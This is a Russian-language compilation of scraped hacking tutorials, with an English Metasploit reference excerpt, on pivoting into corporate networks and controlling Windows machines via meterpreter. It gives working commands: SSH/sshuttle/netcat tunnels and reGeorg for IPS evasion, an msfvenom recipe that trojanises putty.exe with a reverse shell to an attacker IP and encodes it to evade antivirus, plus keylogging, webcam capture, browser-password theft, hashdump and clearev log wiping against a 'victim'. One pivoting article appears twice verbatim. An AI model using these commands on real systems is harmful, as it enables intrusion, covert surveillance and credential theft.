Предположим, что мы получили доступ к корпоративному веб-серверу, который имеет два сетевых интерфейса: один в Интернет, а второй в локальную корпоративную сеть. Что дальше? Веб-сервер разрешает входящие подключения только на TCP порт 80, да и весь трафик находится под пристальным присмотром системы IPS, а нам просто необходимо продвинуться вглубь инфраструктуры. В данной статье я расскажу как это можно сделать.

От простого к сложному

Для простоты, будем предполагать, что внешняя сеть это 192.168.1.0/24 а внутренняя корпоративная 192.168.2.0/24.

Сперва рассмотрим простейший пример, когда веб-сервер позволяет подключиться к нему по протоколу SSH и мы завладели учетными данными.

Ни для кого не секрет, что в таком случае мы может организовать SOCKS прокси на нашей машине, который будет отправлять весь трафик по зашифрованному каналу, сервер будет расшифровывать его и отправлять дальше в локальную сеть.

Напомню, что такой туннель можно создать выполнив подобную команду:

ssh -D localhost:8888 user@192.168.1.5

Где 192.168.1.5 — IP адрес скомпрометированного веб-сервера. Его мы будем использовать и в следующих примерах.

После этого, используя proxychains можно произвести, например, сканирование хоста корпоративной сети.

/etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8888

proxychains nmap -n -v -sT -Pn -F 192.168.2.4

Если мы не можем работать через proxychains, то можно сделать проброс фиксированного порта (например RDP) через SSH туннель.

ssh -L localhost:8888:192.168.2.4:3389 user@192.168.1.5

Далее подключиться по RDP можно будет выполнив команду

Что если мы не хотим для каждого удаленного хоста пробрасывать порт?
В таком случае можем использовать утилиту sshuttle
Установить утилиту можно из репозитория или с github-а

В простейшем виде запуск выглядит так:

sshuttle -r user@192.168.1.5 192.168.2.0/24

После запуска мы можем подключаться к удаленным хостам, как будто мы в их локальной сети, т.е. просто

Как это работает, можно почитать на github.

Еще один вариант построения туннеля — использование утилиты netcat , если ситуация позволяет.

Если нам нужно к примеру подключиться по SSH к хосту в другой подсети, мы можем выполнить следующие команды на скомпрометированном веб-сервере (192.168.1.5/24):

rm /tmp/backpipe;mkfifo /tmp/backpipe
nc -lvp 8888 0 /tmp/backpipe

После этого можно получить доступ по SSH к удаленному серверу с машины атакующего следующим образом:

Подключение произойдет к хосту с IP-адресом 192.168.2.4, который напрямую с машины атакующего недоступен.

Усложняем задачу

Предположим, что доступа по SSH у нас к корпоративному веб-серверу нет, но мы нашли уязвимость, и выполнили шелл-код на стороне веб-сервера.
В качестве шелл-кода мы выполнили meterpreter фреймволка метасплойт и теперь имеем сессию.
Теперь, каким-то образом, мы должны проэксплуатировать другие машины внутренней корпоративной сети 192.168.2.0/24.

В состав фреймворка метасплойт входят инструменты, позволяющие это сделать.

Номер сессии метерпретера — 1
Чтобы выполнять другие модули фреймворка метасплойт на хостах корпоративной сети, нужно из сессии метерпретера выполнить следующие команды:

background — свернуть текущую сессию метерпретера.
route add 192.168.2.0 255.255.255.0 1 — добавить маршрут.

Используйте route print чтобы посмотреть активные маршруты:

msf exploit(handler) > route print

Subnet Netmask Gateway
—— ——- ——-
192.168.2.0 255.255.255.0 Session 1

Теперь, используя модули метасплойт, вы можете указывать в параметрах RHOST/RHOSTS хосты подсети 192.168.2.0/24.

Но этот маршрут доступен только в рамках контекста фреймворка метасплойт. Что если нам нужно получить доступ по RDP или другому протоколу у внутреннему хосту для стороннего приложения, скажем rdesktop?

для этого снова открываем сессию метерпретера и выполняем команду:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1.

meterpreter > portfwd add -l 5555 -p 3389 -r 192.168.2.4
[*] Local TCP relay created: :5555 192.168.2.4:3389

Теперь можно подключиться как обычно:

Чтобы отменить портфорвардинг используйте:

portfwd delete -l 5555 -p 3389 -r 192.168.2.4

Прячемся лучше

Если компания использует систему IPS и трафик не только разрешается или запрещается на основании номера порта , но и анализируется, нам потребуется применить более изощренные методы доставки нашей полезной нагрузки на удаленный сервер.

И здесь нам потребуются инструменты для инкапсуляции нашего трафика в «разрешенные» пакеты.

Для начала стоит, пожалуй, сказать, что метерпретер может работать по протоколам HTTP и HTTPS.
Для этого можно использовать следующие пейлоады для ОС семейства Windows:

В таком случае весь трафик виден системе IPS как HTTP.

Но метерпретер — не единственный инструмент, позволяющий инкапсулировать трафик в HTTP и перенаправлять во внутреннюю сеть. К тому же, не всегда нам удается им воспользоваться.

Идея состоит в том, чтобы на скомпрометированном хосте разместить инструмент, который будет отвечать за инкапсуляцию трафика, например php-скрипт, который будет выполнять веб-сервер без каких-либо проблем.

Такое решение обычно представляет собой клиент-серверное приложение. Серверная часть находится на шлюзе и инкапсулирует трафик в GET/POST запросы, если мы инкапсулируем в HTTP. При этом данные могут сжиматься, шифроваться, кодироваться в base64 и т.п.

Одним из таких инструментов является reGeorg.
Он позволяет создавать SOCKS прокси и созданный туннель можно использовать сразу для нескольких подключений.
Есть серверные части под различные веб-платформы, а клиентская часть написана на Python.

Т.е. основаня задача — это разместить на корпоративном веб-сервере подходящую серверную часть reGeorg-а, через SQL-injection или как-то еще, которая будет доступна, скажем, по такой ссылке

Когда сервер доступен по ссылке, мы можем запустить клиентскую часть на машине атакующего:

python reGeorgSocksProxy.py -u http://192.168.1.5/tunnel.php

Если вы получаете сообщение [INFO ] Georg says, ‘All seems fine’, значит соединение установлено.

Дальше все просто, настраиваем proxychains

/etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8888

И используем туннель

proxychains rdesktop 192.168.2.4

Можете запустить wireshark и убедиться, что весь передаваемый трафик является HTTP-трафиком, хотя мы работаем с удаленным сервером по протоколу RDP.

Инкапсулировать трафик можно не только в HTTP, но и, к примеру, в DNS UDP пакеты!
Для этого служит утилита dnscat2.
Подробнее про нее вы можете прочитать в другой статье на DefconRU.

В качестве заключения

Как можно убедиться после прочтения данной статьи, уязвимость одного узла может привести к компрометации всей сети.
Существует множество способов маскировки трафика и обхода систем IDP/IPS. Поэтому следует уделять повышенное внимание к узлам, имеющим выход в сеть Интернет.

Kali Linux. Возможности Meterpreter. Часть 1.

Привет. Начну с того, что применять данную информацию против кого-либо, с кем вы не договорились заранее и не получили разрешение(желательно в письменном виде с подписью) — незаконно. Все действия лежат только на ваших плечах и совести. Вся информация предоставлена в ознакомительных целях. Иначе за вами выедут.

Начнём. Возможно, это Часть 1.

Если вы заглянули сюда — значит вы чуточку знаете, что такое Kali Linux и metasploit framework. Если нет, то:

Kali Linux — GNU/Linux-LiveCD, возникший как результат слияния WHAX и Auditor Security Collection. Проект создали Мати Ахарони (Mati Aharoni) и Макс Мозер (Max Moser). Предназначен прежде всего для проведения тестов на безопасность.

Metasploit Framework — удобная платформа для создания и отладки эксплойтов. Кроме того, проект включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям компьютерной безопасности.

Хакер: Kali Linux 2017.1

Жертва: Windows 10 1703 x64

Для начала нам нужно, чтобы наш заражённый файл был запущен на компе/ноутбуке жертвы. Как вы это будете делать — без понятия. Я буду применять свой комп, а Кали у меня на ноуте.

Процесс создания заражённого файла:

1. Внезапно нам нужен файл. В моём примере будет putty, хотя можно юзануть и exe какого-нибудь хрома, например, и потом заражённый файл вернуть на место взамен оригинального. Вы ничего не видели и не знаете

2. Переходим в папку с файлом, либо будем писать полный путь до файла, что не круто.

3. Пишем msfvenom -a x86 —platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.0.101 -e x86/shikata_ga_nai -i 5 -b «x00» -f exe -o putty3.exe

Поясню, что тут есть:

msfvenom — собсно, создатель троянов/инжектор троянов в .exe

-a x86 — архитектура x86. Для x86 приложений

—platform windows — платформа Windows ¯_(ツ)_/¯, работает вместе с прошлым атрибутом.

-x putty.exe — файл, который мы заражаем

-k — Без понятия, вот как в оригинале: Preserve the template behavior and inject the payload as a new thread. Что-то типа «встроить нагрузку»

-p windows/meterpreter/reverse_tcp — «полезная нагрузка»

lhost=192.168.0.101 — ip атакующего

-e x86/shikata_ga_nai — шифрование, чтоб антивирусы не палили

-i 5 — количество итераций шифрования. У меня 5.

-b «x00» — что-то связанное с «плохими символами(bad-chars)»

-f exe — формат файла

-o putty3.exe — выходной файл, который надо отправить жертве

У меня тут 10 итераций(-i 10).

Данный файл любым методом переносится на комп жертвы и запускается или удаляется антивирусом сразу после переноса

35/64, но для тестов сгодится. Если шифровать разными шифрованиями тыщу раз, то будет меньше палева.

Запускаем metasploit framework и ждём.

Нас встретит «msf >»

Команды выглядят так:

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > show options (показывает, что можно настроить)

Пишем «set LHOST 192.168.0.101», в моём случае. У вас, ясное дело, ваш ip Kali Linux.

LHOST и LPORT должны быть теми, которые мы указали в msfvenom.

Подразумевается, что жертва уже запустила файл и у нас есть доступ. Иначе просто не откроется сессия.

Заражённая программа внешне ничем не отличается от оригинала:

Обычная программа. Только закрывается через несколько секунд.

На ноуте в это время пишем exploit и видим это:

Если вы напишете сначала на кириллице, а потом сотрёте и напишете как надо — всё равно символ останется и выдаст ошибку, что у меня и произошло. Странный баг, но забавный. Иногда бесячий.

«meterpreter > » означает, что мы в системе и можем делать что угодно, но перед этим надо перекинуть «заражённый процесс в другой процесс». Чтобы путти мог закрыться и не закрыл вместе с собой сессию.

Пишем ps и видим список процессов. Надо выбрать тот, который закрывать не будут. Например, проводник, который именуется explorer.exe

PID у него 3044. 2800 это PPID и он нам не нужен.

пишем «migrate 3044» и готово.

5412 — прошлый PID. Если закрыть putty — закроется и соединение. После миграции в explorer.exe Путти может спокойно закрыться и соединение не пропадёт.

Мы в системе. Начинается самое интересное. Сверху текст, снизу картинка. Как и везде.

Пойдём от простого к интересному. Некоторую дичь затрагивать не буду. Она интересна, вероятно, каким-то редким людям и в некоторых случаях.

1. help. Выдаст возможные команды, но далеко не все. Даже показывать не буду, там крайне мало инфы.

2. sysinfo. и так понятно, что даёт

3. getsystem — должно дать права админа, но на Win10 не работает

4. getuid — узнать имя компа

5. screenshot — делает снимок экрана жертвы в нативном разрешении монитора жертвы. Куда сохраняет — написано. Скриншот в скриншоте.

6. Команды для вебкамеры:

webcam_list — список вебкамер у жертвы

webcam_snap — делает снимок на камеру

webcam_stream — вебка в прямом эфире

Не смогу показать, нет вебкамеры и вряд-ли теперь будет.

7. record_mic — записывает с микрофона, но у меня сразу же останавливает. Наверное, особенности Win10 и того, что не получилось ввести getsystem.

keyscan_start — включает кейлоггер

keyscan_dump — показывает, что напечатали

keyscan_stop — выключает кейлоггер

Ловит только английские буквы

ololoo, test keylogger

9. uictl [enable/disable] [keyboard/mouse/all] — должно включать/выключать клаву/мышь/и то и другое, но на Win10 не сработало. На Win7 работало.

Неинтересное закончилось, пора переходить к интересному:

Команды вида «run *что-то*». Они уже более интересные. Тут уже нет порядка крутости, тут всё годно. Может быть, когда-нибудь, я проверю все команды и сделаю пост на пикабу. Прям такой «тру обзор», но это не точно.

Чтобы посмотреть все доступные команды — пишем «run » и жмём Таб два раза. Нас спросят «хотите ли вы вывести всё на экран?» а там 200+ позиций. Жмём «y», потом пробел несколько раз, отмотав до конца и видим примерно это:

Всё я показывать не буду, там очень много. Пост не резиновый.

Ах да, иногда может писать, что скрипт не поддерживается в meterpreter. Это дубликаты другого скрипта, который там напишут.

1. run post/windows/manage/enable_rdp — должно включать rdp, но «insufficient privileges», потому что getsystem не работает. Вероятно, в других Виндах заработает.

2. run post/windows/gather/enum_chrome и /enum_firefox — уносит данные из этих браузеров. В т.ч. и пароли. На этапе «Preferences» задумывается, но не зависает. Сохраняет в /root/.msf4/loot и удаляет при закрытии MSF.

Открыть можно через SQLite Database Browser, который есть в том же Кали, хоть это и текстовый документ. Надо только в программе выбрать «All files».

Файлы Preference и Decrypted открываются в текстовом редакторе.

Про дубликаты: там есть «run enum_chrome», но MSF пожалуется, что он недоступен в этой версии и скажет «юзайте run post/windows/gather/enum_chrome». Если что-то не работает — читайте, что предлагает MSF.

LiveInternetLiveInternet

Поиск по дневнику

Подписка по e-mail

Статистика

Meterpreter базовые команды

Так как Meterpreter предоставляет целую новую среду, мы рассмотрим некоторые основные команды для начала и ознакомимся с этим мощным инструментом. В этой статье я постараюсь рассмотреть почти все имеющиеся в Meterpreter команды. По сути дела эта статья для тех кто не хочет экспериментировать с ключами для успешного обучения.

Команда ‘help‘, как и может ожидаться, отображает меню помощи ‘Meterpreter‘.

Dante

background

Команда ‘background‘ переводит текущую сессию Meterpreter в фоновый режим, и мы возвращаемся в командную строку ‘msf‘. Для того чтобы вернуться в сессии Meterpreter, просто необходимо обратится к ней снова.

Dante

Команда ‘cat’

Команда ‘cat‘ в meterpreter идентична такой же команде с *nix системах. Она отображает содержимое файла заданное в качестве аргумента.

Dante

Команды ‘cd’ и ‘pwd’

Команды ‘cd‘ и ‘pwd‘ используются для изменения и отображения текущей работы непосредственно на целевом хоте. Изменение рабочей директории ‘cd‘ работает точно так же как это делается в системах ‘DOS‘ либо ‘*nix‘. По умолчанию текущая рабочая папка находится там, где произведено подключение.

cd: Путь к папке, для изменения.

Dante

Команда ‘clearev’

Команда ‘clearev‘ очистит логи приложений, системы и безопасности windows систем. В ней нет опций или аргументов.

Dante

Логи перед использованием Meterpreter для очистки журналов.

Dante

После очистки логи выглядят так:

Dante

Команда ‘download’

Команда ‘download‘ загружает файл с удаленного компьютера. Обратите внимание на использование двух косых черт, задавая путь в windows.

Dante

Команда ‘edit’

Команда ‘edit‘ открывает файл, расположенный на целевом хосте. Он использует ‘vim‘ и все доступные команды данного редактора.

Dante

Можете посмотреть документацию текстового редактора ‘vim‘, для более удобного использования.

Команда ‘execute’

Команда ‘execute‘ запускает команду на целевом компьютере.

Dante

Команда ‘getuid’

Запуск команды ‘getuid‘ покажет пользователю хост на котором запущен сервер Meterpreter.

Dante

Команда ‘hashdump’

Команда ‘hashdump‘ сообщает модулю дамп содержимого базы данных SAM.

Dante

Команда ‘idletime’

Запуск команды ‘idletime‘ отобразит сколько времени работает пользователь на удаленной машине.

Dante

Команда ‘ipconfig’

Команда ‘ipconfig‘ отображает сетевые интерфейсы и адреса на удаленной машине.

Dante

Команды ‘lpwd’ и ‘lcd’

Команды ‘lpwd‘ и ‘lcd‘ используются для отображения и изменения, расположения рабочей директории. При получении оболочки meterpreter, расположение рабочей директории находится там где запустилась консоль Metasploit. Изменение рабочей директории, даст сессии вашего meterpreter, доступ к файлам расположенным в этой папке.

lpwd: не требуются

lcd: Папка назначения

Dante

Meterpreter команда ‘ls’

Точно так же как и в Linux, команда ‘ls‘ покажет список файлов в текущей директории на удаленной машине.

Dante

migrate

Использование ‘migrate‘ сообщает модулю, что переходите на иной процесс жертвы.

Dante

Команда ‘ps’

Команда ‘ps‘ отображает список запущенных на цели процессов.

Dante

Meterpreter команда ‘resource’

Команда ‘resource‘, выполняет инструкции meterpreter которые находятся в текстовом файле. Записи должны быть в файле записаны по одной в строку, команда ‘resource‘, выполняет каждую строку в последовательности. При помощи этого можно автоматизировать повторяющиеся действия, выполняемые пользователем.

По умолчанию, команды будут работать в текущей рабочей директории(на целевой машине), а файл ресурсов в локальной рабочей директории (атакующей машины).

Dante

path1: Расположение файла содержащего команды для запуска.

Path2Run: Место где запускаются команды найденные внутри файла

Пример использования, файл используемый ‘resource‘:

Dante

Запуск команды resource:

Dante

Команда ‘search’

Команда ‘search‘ предоставит возможность отображения расположения определенных файлов на целевом хосте. Команда может искать либо по всей системе, либо в определенных папках. Группы символов, также могут быть использованы при создании образца файла для поиска.

Dante

Шаблон файла: Может содержать шаблоны

Поиск местоположения: Опционально, если иное не указано, будет происходить поиск по всей системе.

Dante

Команда ‘shell’

Команда ‘shell‘ предоставит вам стандартную shell оболочку в целевой системе.

Dante

Команда ‘upload’

Как и с командой ‘download‘ вам необходимо использовать двойной слеш с командой ‘upload‘.

Dante

Команда ‘webcam_list’

Команда ‘webcam_list‘ запускаемая из оболочки meterpreter, покажет все имеющиеся в настоящее время веб-камеры на целевом компьютере.

Dante

Команда ‘webcam_snap’

Команда ‘webcam_snap‘ захватывает изображение с подключенной веб-камеры на целевой системе и сохраняет его на диск в качестве изображения jpeg. По умолчанию сохраняет в расположении текущей рабочей директории со случайным именем файла.

Dante

-h: Отображение справочной информации о команде.

-i opt: Если подключено более одной веб-камеры, необходимо использовать эту опцию, для того чтобы выбрать устройство с которого будет происходить захват.

-p opt: Изменяет путь и имя файла изображения для сохранения.

-q opt: Выбор качества изображения 50 по умолчанию, 100 лучшее качество.

-v opt: По умолчанию значение истинно, когда открывает изображение после захвата.

Dante

Метерпретер : что такое и как работает?

Метерпретер (он же для сокращения ) – один из основных инструментов в наборе Метасплойт. Используется в качестве пэйлоуда в фазе эксплуатации (Post Exploitation) скомпрометированной машины. Т.е. управление компьютером после установления контроля над этим самым компьютером (или компьютерами). Как только сработал эксплойт, мы получаем шелл метерпретера для взломанной системы (если мы использовали, конечно, в качестве пэйлоуда именно метерпретер):

Слева – заряженный шелл, справа – командная консоль жертвы в руках хакера

Соберитесь на секунду…

Уникальность такого атакующего вектора состоит в надёжности и постоянстве: при использовании метера не создаются никакие файлы. Метер приклеивается к уже запущенной службе и сидит в памяти. Обмен данными между машинами хакера и жертвы происходит в формате Тип-Длина-Значение (TLVtype-length-value). Да к тому же он, обмен, ещё и зашифрован. Внутри протоколов коммуникаций (сетевых, к примеру) дополнительная информация также может быть зашифрована. Здесь:

  • Тип (Type) – отображает некую часть базы данных (поле СУБД), являясь частью послания машине хакера от системы жертвы
  • Длина (Length) – отображает размер этого поля
  • и Значение (Value) – серия или серии информационных битов и баитов, содержащих в себе данные об этой части сообщения

Не поняли? Не страшно. Скоро всё увидим на примере. Но взгляду специалиста открывается информация, что в эту связку можно запихнуть эффективные инструменты для атаки по нескольким направлениям. Такой принцип коммуникации позволит Метеру создавать веник возможностей: и воровать хеши паролей, и запускать кейлогеры, и повышать привилегии к учётным записям. И это всё на фоне висящего в памяти процесса, который может удачно прятаться и от антивирусов и от встроенных систем защиты от проникновений. У Метера есть и возможность переключаться между процессами в системе жертвы, приклеиваясь к ним поочерёдно подобно улитке.

Как Метерпретер работает?

В статье Что такое эксплойт? мы разобрали процесс компрометации ОС Windows XP с выходом на метерпретер. Теперь рассмотрим функционал Метера.

Итак, система жертвы уже скомпрометирована, и хакер отсылает заражённой Windows первую порцию пэйлоуда, который, возвращаясь, создаёт возможность для запуска Метера. Встроенный сервер Метера теперь отсылает пэйлоуд -инъекции, устанавливая в текущей сессии прочное соединение через сокет (сокетом называем здесь и далее сочетание IP адреса и конкретного порта ). И всё это, напоминаю, зашифровано: не всякому сисадмину по зубам раскусить засевшую сессию. Установка такой связи по сокету системы жертвы и видна на первом фото статьи: Метер готов отсылать команды.

Метерпретер в действии.

Как и практически любая из команд набора Метаслпойт, Метер отзывается на команду . Понимая, что не все мы поднаторели в языке Шекспира, уделю справке Метера абзац.

Открытая сессия Метера – своеобразный приз за продуманную работу, который на финише ждёт не каждого. И потому советую начинать практику именно с программ и систем, уязвимости которых подтверждены и эксплойты которых имеют заслуженный ранк. Это заметно облегчит вашу задачу, когда вы приступите к работе со свежими эксплойтами и обновляющимся программным продуктом.

Сразу вы увидите плохо помещающийся в окно экрана список команд Метера, и первый раздел включает все команды ядра Метера, которые могут применяться на взломанном компьютере (читай – скомпрометированной системе). Разбиты на два столбца: Тип команды () и Описание ().

Таким же образом делятся и другие разделы. Вот их структура, наименования и назначения на момент написания статьи:

  • – Команды управления самим Метерпретером
  • – команды по работе с файловой системой
  • – сетевые команды
  • – системные команды
  • – команды интерфейса пользователя
  • – Команды для вебкамеры
  • – содержит пока единственную – Попытка получить права “повыше”
  • – команды базы данных паролей – также содержит единственную в своём разделе: получает дамп базы данных SAM
  • – опять же одна – с её помощью манипулируем с одноимённым файлом.

Лучше разработчиков никто о Метере не расскажет, и потому сразу отсылаю вас на офсайт справки по командам:

Самый интересный раздел включает следующие команды:

нажмите, чтобы увеличить

Метерпретер в действии

Посмотрим на самые полезные из них на примере.

покажет информацию о системе жертвы

а происходящее снимается

Проверим, есть ли на компьютере или ноутбуке жертвы вебкамеры:

Если есть, щёлкнем его на память:

А ведь ничего подозрительного в Windows жертвы не регистрируется:

Проверим, какие процессы запущены:

Зачем? Можно ведь перейти и к откровенным пакостям. Сначала заражаем проводник Windows Explorer. Найдём его PID и перекинем Метера на этот процесс:

То есть, судя по фото выше, команда в сессии Метера примет вид:

Запустим сразу шелл:

Если это сделать в текущей сессии Метера, у жертвы появится скрытый процесс :

В корне диска мы можем создать новую папку командой:

назвав её неприметным именем, допустим :

Туда можно напихать что угодно. Создавать или копировать можно любые файлы и размещать по всей системе противника. А лучше давайте перезагрузим его компьютер (можно и выключить, всё зависит от выставленных флагов команды консоли cmd). Через 10 секунд жертва потеряет все несохранённые данные:

Как понимаете, вы видели далеко не всё то, что из себя представляет метерпретер. К нему мы вернёмся не раз.

Метерпретер из состава инструментов Метасплой?

Предположим, что мы получили доступ к корпоративному веб-серверу, который имеет два сетевых интерфейса: один в Интернет, а второй в локальную корпоративную сеть. Что дальше? Веб-сервер разрешает входящие подключения только на TCP порт 80, да и весь трафик находится под пристальным присмотром системы IPS, а нам просто необходимо продвинуться вглубь инфраструктуры. В данной статье я расскажу как это можно сделать.

От простого к сложному

Для простоты, будем предполагать, что внешняя сеть это 192.168.1.0/24 а внутренняя корпоративная 192.168.2.0/24.

Сперва рассмотрим простейший пример, когда веб-сервер позволяет подключиться к нему по протоколу SSH и мы завладели учетными данными.

Ни для кого не секрет, что в таком случае мы может организовать SOCKS прокси на нашей машине, который будет отправлять весь трафик по зашифрованному каналу, сервер будет расшифровывать его и отправлять дальше в локальную сеть.

Напомню, что такой туннель можно создать выполнив подобную команду:

ssh -D localhost:8888 user@192.168.1.5

Где 192.168.1.5 — IP адрес скомпрометированного веб-сервера. Его мы будем использовать и в следующих примерах.

После этого, используя proxychains можно произвести, например, сканирование хоста корпоративной сети.

/etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8888

proxychains nmap -n -v -sT -Pn -F 192.168.2.4

Если мы не можем работать через proxychains, то можно сделать проброс фиксированного порта (например RDP) через SSH туннель.

ssh -L localhost:8888:192.168.2.4:3389 user@192.168.1.5

Далее подключиться по RDP можно будет выполнив команду

Что если мы не хотим для каждого удаленного хоста пробрасывать порт?
В таком случае можем использовать утилиту sshuttle
Установить утилиту можно из репозитория или с github-а

В простейшем виде запуск выглядит так:

sshuttle -r user@192.168.1.5 192.168.2.0/24

После запуска мы можем подключаться к удаленным хостам, как будто мы в их локальной сети, т.е. просто

Как это работает, можно почитать на github.

Еще один вариант построения туннеля — использование утилиты netcat , если ситуация позволяет.

Если нам нужно к примеру подключиться по SSH к хосту в другой подсети, мы можем выполнить следующие команды на скомпрометированном веб-сервере (192.168.1.5/24):

rm /tmp/backpipe;mkfifo /tmp/backpipe
nc -lvp 8888 0 /tmp/backpipe

После этого можно получить доступ по SSH к удаленному серверу с машины атакующего следующим образом:

Подключение произойдет к хосту с IP-адресом 192.168.2.4, который напрямую с машины атакующего недоступен.

Усложняем задачу

Предположим, что доступа по SSH у нас к корпоративному веб-серверу нет, но мы нашли уязвимость, и выполнили шелл-код на стороне веб-сервера.
В качестве шелл-кода мы выполнили meterpreter фреймволка метасплойт и теперь имеем сессию.
Теперь, каким-то образом, мы должны проэксплуатировать другие машины внутренней корпоративной сети 192.168.2.0/24.

В состав фреймворка метасплойт входят инструменты, позволяющие это сделать.

Номер сессии метерпретера — 1
Чтобы выполнять другие модули фреймворка метасплойт на хостах корпоративной сети, нужно из сессии метерпретера выполнить следующие команды:

background — свернуть текущую сессию метерпретера.
route add 192.168.2.0 255.255.255.0 1 — добавить маршрут.

Используйте route print чтобы посмотреть активные маршруты:

msf exploit(handler) > route print

Subnet Netmask Gateway
—— ——- ——-
192.168.2.0 255.255.255.0 Session 1

Теперь, используя модули метасплойт, вы можете указывать в параметрах RHOST/RHOSTS хосты подсети 192.168.2.0/24.

Но этот маршрут доступен только в рамках контекста фреймворка метасплойт. Что если нам нужно получить доступ по RDP или другому протоколу у внутреннему хосту для стороннего приложения, скажем rdesktop?

для этого снова открываем сессию метерпретера и выполняем команду:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1.

meterpreter > portfwd add -l 5555 -p 3389 -r 192.168.2.4
[*] Local TCP relay created: :5555 192.168.2.4:3389

Теперь можно подключиться как обычно:

Чтобы отменить портфорвардинг используйте:

portfwd delete -l 5555 -p 3389 -r 192.168.2.4

Прячемся лучше

Если компания использует систему IPS и трафик не только разрешается или запрещается на основании номера порта , но и анализируется, нам потребуется применить более изощренные методы доставки нашей полезной нагрузки на удаленный сервер.

И здесь нам потребуются инструменты для инкапсуляции нашего трафика в «разрешенные» пакеты.

Для начала стоит, пожалуй, сказать, что метерпретер может работать по протоколам HTTP и HTTPS.
Для этого можно использовать следующие пейлоады для ОС семейства Windows:

В таком случае весь трафик виден системе IPS как HTTP.

Но метерпретер — не единственный инструмент, позволяющий инкапсулировать трафик в HTTP и перенаправлять во внутреннюю сеть. К тому же, не всегда нам удается им воспользоваться.

Идея состоит в том, чтобы на скомпрометированном хосте разместить инструмент, который будет отвечать за инкапсуляцию трафика, например php-скрипт, который будет выполнять веб-сервер без каких-либо проблем.

Такое решение обычно представляет собой клиент-серверное приложение. Серверная часть находится на шлюзе и инкапсулирует трафик в GET/POST запросы, если мы инкапсулируем в HTTP. При этом данные могут сжиматься, шифроваться, кодироваться в base64 и т.п.

Одним из таких инструментов является reGeorg.
Он позволяет создавать SOCKS прокси и созданный туннель можно использовать сразу для нескольких подключений.
Есть серверные части под различные веб-платформы, а клиентская часть написана на Python.

Т.е. основаня задача — это разместить на корпоративном веб-сервере подходящую серверную часть reGeorg-а, через SQL-injection или как-то еще, которая будет доступна, скажем, по такой ссылке

Когда сервер доступен по ссылке, мы можем запустить клиентскую часть на машине атакующего:

python reGeorgSocksProxy.py -u http://192.168.1.5/tunnel.php

Если вы получаете сообщение [INFO ] Georg says, ‘All seems fine’, значит соединение установлено.

Дальше все просто, настраиваем proxychains

/etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8888

И используем туннель

proxychains rdesktop 192.168.2.4

Можете запустить wireshark и убедиться, что весь передаваемый трафик является HTTP-трафиком, хотя мы работаем с удаленным сервером по протоколу RDP.

Инкапсулировать трафик можно не только в HTTP, но и, к примеру, в DNS UDP пакеты!
Для этого служит утилита dnscat2.
Подробнее про нее вы можете прочитать в другой статье на DefconRU.

В качестве заключения

Как можно убедиться после прочтения данной статьи, уязвимость одного узла может привести к компрометации всей сети.
Существует множество способов маскировки трафика и обхода систем IDP/IPS. Поэтому следует уделять повышенное внимание к узлам, имеющим выход в сеть Интернет.

Meterpreter Basic Commands

Using Meterpreter Commands

Since the provides a whole new environment, we will cover some of the basic Meterpreter commands to get you started and help familiarize you with this most powerful tool. Throughout this course, almost every available Meterpreter command is covered. For those that aren’t covered, experimentation is the key to successful learning.

The help command, as may be expected, displays the Meterpreter help menu.

background

The background command will send the current Meterpreter session to the background and return you to the ‘msf’ prompt. To get back to your Meterpreter session, just interact with it again.

The cat command is identical to the command found on *nix systems. It displays the content of a file when it’s given as an argument.

cd and pwd

The cd and pwd commands are used to change and display current working directly on the target host.
The change directory “cd” works the same way as it does under DOS and *nix systems.
By default, the current working folder is where the connection to your listener was initiated.

clearev

The clearev command will clear the , , and logs on a system. There are no options or arguments.

Before using Meterpreter to clear the logs | Metasploit Unleashed

Example usage:
Before

After using Meterpreter to clear the logs | Metasploit Unleashed

download

The download command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path.

The edit command opens a file located on the target host.
It uses the ‘vim’ so all the editor’s commands are available.

Please refer to the vim editor documentation for more advance use.
http://www.vim.org/

execute

The execute command runs a command on the target.

getuid

Running getuid will display the user that the Meterpreter server is running as on the host.

hashdump

The hashdump post module will dump the contents of the database.

idletime

Running idletime will display the number of seconds that the user at the remote machine has been idle.

ipconfig

The ipconfig command displays the network interfaces and addresses on the remote machine.

lpwd and lcd

The lpwd and lcd commands are used to display and change the local working directory respectively.
When receiving a Meterpreter shell, the local working directory is the location where one started the Metasploit console.
Changing the working directory will give your Meterpreter session access to files located in this folder.

As in Linux, the ls command will list the files in the current remote directory.

migrate

Using the migrate post module, you can migrate to another process on the victim.

The ps command displays a list of running processes on the target.

resource

The resource command will execute Meterpreter instructions located inside a text file. Containing one entry per line, resource will execute each line in sequence. This can help automate repetitive actions performed by a user.

By default, the commands will run in the current working directory (on target machine) and resource file in the local working directory (the attacking machine).

Example usage
Our file used by resource:

Running resource command:

search

The search commands provides a way of locating specific files on the target host. The command is capable of searching through the whole system or specific folders.
Wildcards can also be used when creating the file pattern to search for.

shell

The shell command will present you with a standard shell on the target system.

upload

As with the download command, you need to use double-slashes with the upload command.

webcam_list

The webcam_list command when run from the Meterpreter shell, will display currently available web cams on the target host.

webcam_snap

The webcam_snap’ command grabs a picture from a connected web cam on the target system, and saves it to disc as a JPEG image. By default, the save location is the local current working directory with a randomized filename.

Using webcam_snap Meterpreter plugin | Metasploit Unleashed

Источник: softaltair.ru

Добавить комментарий